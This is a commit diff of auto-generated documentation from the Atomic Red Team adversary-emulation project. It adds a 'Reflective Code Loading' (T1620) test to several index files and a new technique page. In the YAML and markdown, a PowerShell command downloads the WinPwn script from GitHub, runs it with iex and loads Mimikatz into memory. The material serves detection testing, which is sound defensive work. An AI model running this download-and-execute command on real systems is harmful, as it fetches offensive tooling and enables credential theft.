Generated docs from job=generate-docs branch=master [ci skip]
This commit is contained in:
Atomic Red Team doc generator
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -606,6 +606,7 @@ defense-evasion,T1055.012,Process Hollowing,2,RunPE via VBA,3ad4a037-1598-4136-8
|
||||
defense-evasion,T1055,Process Injection,1,Shellcode execution via VBA,1c91e740-1729-4329-b779-feba6e71d048,powershell
|
||||
defense-evasion,T1055,Process Injection,2,Remote Process Injection in LSASS via mimikatz,3203ad24-168e-4bec-be36-f79b13ef8a83,command_prompt
|
||||
defense-evasion,T1216.001,PubPrn,1,PubPrn.vbs Signed Script Bypass,9dd29a1f-1e16-4862-be83-913b10a88f6c,command_prompt
|
||||
defense-evasion,T1620,Reflective Code Loading,1,WinPwn - Reflectively load Mimik@tz into memory,56b9589c-9170-4682-8c3d-33b86ecb5119,powershell
|
||||
defense-evasion,T1218.009,Regsvcs/Regasm,1,Regasm Uninstall Method Call Test,71bfbfac-60b1-4fc0-ac8b-2cedbbdcb112,command_prompt
|
||||
defense-evasion,T1218.009,Regsvcs/Regasm,2,Regsvcs Uninstall Method Call Test,fd3c1c6a-02d2-4b72-82d9-71c527abb126,powershell
|
||||
defense-evasion,T1218.010,Regsvr32,1,Regsvr32 local COM scriptlet execution,449aa403-6aba-47ce-8a37-247d21ef0306,command_prompt
|
||||
|
||||
|
@@ -429,6 +429,7 @@ defense-evasion,T1055.012,Process Hollowing,2,RunPE via VBA,3ad4a037-1598-4136-8
|
||||
defense-evasion,T1055,Process Injection,1,Shellcode execution via VBA,1c91e740-1729-4329-b779-feba6e71d048,powershell
|
||||
defense-evasion,T1055,Process Injection,2,Remote Process Injection in LSASS via mimikatz,3203ad24-168e-4bec-be36-f79b13ef8a83,command_prompt
|
||||
defense-evasion,T1216.001,PubPrn,1,PubPrn.vbs Signed Script Bypass,9dd29a1f-1e16-4862-be83-913b10a88f6c,command_prompt
|
||||
defense-evasion,T1620,Reflective Code Loading,1,WinPwn - Reflectively load Mimik@tz into memory,56b9589c-9170-4682-8c3d-33b86ecb5119,powershell
|
||||
defense-evasion,T1218.009,Regsvcs/Regasm,1,Regasm Uninstall Method Call Test,71bfbfac-60b1-4fc0-ac8b-2cedbbdcb112,command_prompt
|
||||
defense-evasion,T1218.009,Regsvcs/Regasm,2,Regsvcs Uninstall Method Call Test,fd3c1c6a-02d2-4b72-82d9-71c527abb126,powershell
|
||||
defense-evasion,T1218.010,Regsvr32,1,Regsvr32 local COM scriptlet execution,449aa403-6aba-47ce-8a37-247d21ef0306,command_prompt
|
||||
|
||||
|
@@ -920,7 +920,8 @@
|
||||
- T1542.004 ROMMONkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1600.001 Reduce Key Space [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1108 Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1620 Reflective Code Loading [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1620 Reflective Code Loading](../../T1620/T1620.md)
|
||||
- Atomic Test #1: WinPwn - Reflectively load Mimik@tz into memory [windows]
|
||||
- [T1218.009 Regsvcs/Regasm](../../T1218.009/T1218.009.md)
|
||||
- Atomic Test #1: Regasm Uninstall Method Call Test [windows]
|
||||
- Atomic Test #2: Regsvcs Uninstall Method Call Test [windows]
|
||||
|
||||
@@ -669,7 +669,8 @@
|
||||
- [T1216.001 PubPrn](../../T1216.001/T1216.001.md)
|
||||
- Atomic Test #1: PubPrn.vbs Signed Script Bypass [windows]
|
||||
- T1108 Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1620 Reflective Code Loading [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1620 Reflective Code Loading](../../T1620/T1620.md)
|
||||
- Atomic Test #1: WinPwn - Reflectively load Mimik@tz into memory [windows]
|
||||
- [T1218.009 Regsvcs/Regasm](../../T1218.009/T1218.009.md)
|
||||
- Atomic Test #1: Regasm Uninstall Method Call Test [windows]
|
||||
- Atomic Test #2: Regsvcs Uninstall Method Call Test [windows]
|
||||
|
||||
@@ -120,7 +120,7 @@
|
||||
| | | | | ROMMONkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | | | |
|
||||
| | | | | Reduce Key Space [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | | | |
|
||||
| | | | | Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | | | |
|
||||
| | | | | Reflective Code Loading [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | | | |
|
||||
| | | | | [Reflective Code Loading](../../T1620/T1620.md) | | | | | | | |
|
||||
| | | | | [Regsvcs/Regasm](../../T1218.009/T1218.009.md) | | | | | | | |
|
||||
| | | | | [Regsvr32](../../T1218.010/T1218.010.md) | | | | | | | |
|
||||
| | | | | [Rename System Utilities](../../T1036.003/T1036.003.md) | | | | | | | |
|
||||
|
||||
@@ -91,7 +91,7 @@
|
||||
| | | | | [Process Injection](../../T1055/T1055.md) | | | | | | | |
|
||||
| | | | | [PubPrn](../../T1216.001/T1216.001.md) | | | | | | | |
|
||||
| | | | | Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | | | |
|
||||
| | | | | Reflective Code Loading [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | | | |
|
||||
| | | | | [Reflective Code Loading](../../T1620/T1620.md) | | | | | | | |
|
||||
| | | | | [Regsvcs/Regasm](../../T1218.009/T1218.009.md) | | | | | | | |
|
||||
| | | | | [Regsvr32](../../T1218.010/T1218.010.md) | | | | | | | |
|
||||
| | | | | [Rename System Utilities](../../T1036.003/T1036.003.md) | | | | | | | |
|
||||
|
||||
@@ -38179,7 +38179,20 @@ defense-evasion:
|
||||
description: MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET
|
||||
Tradecraft. Retrieved October 4, 2021.
|
||||
source_name: MDSec Detecting DOTNET
|
||||
atomic_tests: []
|
||||
identifier: T1620
|
||||
atomic_tests:
|
||||
- name: WinPwn - Reflectively load Mimik@tz into memory
|
||||
auto_generated_guid: 56b9589c-9170-4682-8c3d-33b86ecb5119
|
||||
description: Reflectively load Mimik@tz into memory technique via function of
|
||||
WinPwn
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
command: |-
|
||||
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
|
||||
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
|
||||
mimiload -consoleoutput -noninteractive
|
||||
name: powershell
|
||||
T1218.009:
|
||||
technique:
|
||||
type: attack-pattern
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
# T1620 - Reflective Code Loading
|
||||
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1620)
|
||||
<blockquote>Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL)
|
||||
|
||||
Reflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)</blockquote>
|
||||
|
||||
## Atomic Tests
|
||||
|
||||
- [Atomic Test #1 - WinPwn - Reflectively load Mimik@tz into memory](#atomic-test-1---winpwn---reflectively-load-mimiktz-into-memory)
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
## Atomic Test #1 - WinPwn - Reflectively load Mimik@tz into memory
|
||||
Reflectively load Mimik@tz into memory technique via function of WinPwn
|
||||
|
||||
**Supported Platforms:** Windows
|
||||
|
||||
|
||||
**auto_generated_guid:** 56b9589c-9170-4682-8c3d-33b86ecb5119
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Attack Commands: Run with `powershell`!
|
||||
|
||||
|
||||
```powershell
|
||||
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
|
||||
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
|
||||
mimiload -consoleoutput -noninteractive
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
Reference in New Issue
Block a user